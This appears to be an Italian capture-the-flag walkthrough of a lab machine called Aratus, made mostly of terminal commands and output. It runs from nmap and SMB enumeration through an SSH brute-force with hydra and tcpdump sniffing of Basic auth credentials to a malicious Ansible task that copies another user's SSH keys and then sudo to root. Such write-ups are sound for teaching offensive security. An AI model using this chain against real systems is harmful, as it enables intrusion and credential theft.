```
└$ nmap -sV -sC -A 10.10.88.235
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
Accesso anonimo FTP, niente di particolare
                          vsftpd 3.0.2
21/tcp open ftp
       drwxr-xr-x
                     2 0
                                0
                                                6 Jun 09 2021 pub
        ─# smbclient -L \\aratus.local
Anonymous login successful
       Sharename
                                 Comment
                       Type
        _____
                       _ _ _ _
                                  _____
        print$
                       Disk
                                 Printer Drivers
        temporary share Disk
        IPC$
                       IPC
                                 IPC Service (Samba 4.10.16)
smb: \> 1s
                                     D
                                              0 Mon Jan 10 14:06:44 2022
                                              0 Tue Nov 23 17:24:05 2021
                                     D
  .bash_logout
                                     Н
                                             18 Wed Apr 1 04:17:30 2020
                                            193 Wed Apr 1 04:17:30 2020
  .bash_profile
                                     Н
  .bashrc
                                            231 Wed Apr 1 04:17:30 2020
                                     Н
                                              0 Fri Mar 25 20:41:10 2022
  .bash history
                                     Н
                                              0 Tue Nov 23 11:07:47 2021
 chapter1
                                     D
 chapter2
                                     D
                                              0 Tue Nov 23 11:08:11 2021
  chapter3
                                              0 Tue Nov 23 11:08:18 2021
                                     D
 chapter4
                                     D
                                              0 Tue Nov 23 11:08:25 2021
                                     D
                                              0 Tue Nov 23 11:08:33 2021
 chapter5
 chapter6
                                     D
                                              0 Tue Nov 23 11:12:24 2021
                                              0 Tue Nov 23 12:14:27 2021
 chapter7
                                     D
                                              0 Tue Nov 23 11:12:45 2021
                                     D
 chapter8
 chapter9
                                     D
                                              0 Tue Nov 23 11:12:53 2021
                                              0
                                                 Mon Jan 10 14:05:34 2022
  .ssh
                                    DH
  .viminfo
                                     Н
                                              0 Fri Mar 25 20:41:10 2022
                                            251 Mon Jan 10 14:06:44 2022
 message-to-simeon.txt
                                     Ν
Leggendo il messaggio troviamo info su 2 user
Simeon
theodore
scarichiamo dalle condivisioni un file del libro e generiamo una wordlist
```

grep -E '\w+' -o text3.txt > word.txt

```
hydra -l simeon -P word.txt aratus.local ssh -vV
[22][ssh] host: aratus.local login: simeon password: (hidden)
<-----
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
theodore:x:1001:1001::/home/theodore:/bin/bash
                                              <-----
automation:x:1002:1002::/home/automation:/bin/bash <-----</pre>
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin
simeon:x:1003:1003::/home/simeon:/bin/bash <-----
tcpdump:x:72:72::/:/sbin/nologin
saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
con pspy64 troviamo
/usr/bin/amazon-ssm-agent
/usr/bin/python2 -Es /usr/sbin/tuned -l -P
CMD: UID=1001 PID=1596 | /usr/bin/python3
/home/theodore/scripts/test-www-auth.py
con linpeas troviamo
You can sniff with tcpdump!
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
tcpdump -i any -n 'port 80' -vv
----- (intercettiamo il traffico del task python)
       GET /test-auth/index.html HTTP/1.1
       Host: 127.0.0.1
       User-Agent: python-requests/2.14.2
```

```
Accept: */*
        Connection: keep-alive
        Authorization: Basic (hidden)
theodore:(hidden)
su theodore
Password:
[theodore@aratus tmp]$ id
uid=1001(theodore) gid=1001(theodore) groups=1001(theodore)
context=unconfined u:unconfined r:unconfined t:s0-s0:c0.c1023
sudo -1
User theodore may run the following commands on aratus:
    (automation) NOPASSWD: /opt/scripts/infra_as_code.sh
[theodore@aratus scripts]$ cat infra as code.sh
#!/bin/bash
cd /opt/ansible
/usr/bin/ansible-playbook /opt/ansible/playbooks/*.yaml
con linpeas troviamo
# file: /opt/ansible/roles/geerlingguy.apache/tasks/configure-RedHat.yml
USER automation rw-
user theodore rw-
aggiungiamo il task copy al playbook
- name: Copy ssh key.
  copy:
    src: "/home/automation/.ssh/"
    dest: "/tmp/keys/"
 sudo -u automation /opt/scripts/infra_as_code.sh
[theodore@aratus keys]$ ls -lisa
total 20
101198822 0 drwxrwxrwx. 2 theodore theodore 80 Mar 26 16:14 .
                                    root 4096 Mar 26 16:14 ...
 33554504 4 drwxrwxrwt. 9 root
   108733 4 -rw-r--r-. 1 root
                                    root
                                             822 Mar 26 16:14 authorized_keys
                                    root 1679 Mar 26 16:14 id_rsa
root 414 Mar 26 16:14 id_rsa.
root 346 Mar 26 16:14 known h
   108728 4 -rw-r--r-. 1 root
   108731 4 -rw-r--r-. 1 root
                                            414 Mar 26 16:14 id rsa.pub
   108732 4 -rw-r--r-. 1 root
                                            346 Mar 26 16:14 known hosts
```

Accept-Encoding: gzip, deflate

scarichiamo la chiave ed entriamo con l'utente automation

```
ssh -i key.txt automation@aratus.local
Last login: Sat Mar 26 16:14:30 2022 from
ip-10-10-3-91.eu-west-1.compute.internal
[automation@aratus ~]$ id
uid=1002(automation) gid=1002(automation) groups=1002(automation)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

sudo -l

User automation may run the following commands on aratus:
    (ALL) NOPASSWD: ALL
[automation@aratus /]$ sudo su
[root@aratus /]# id
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```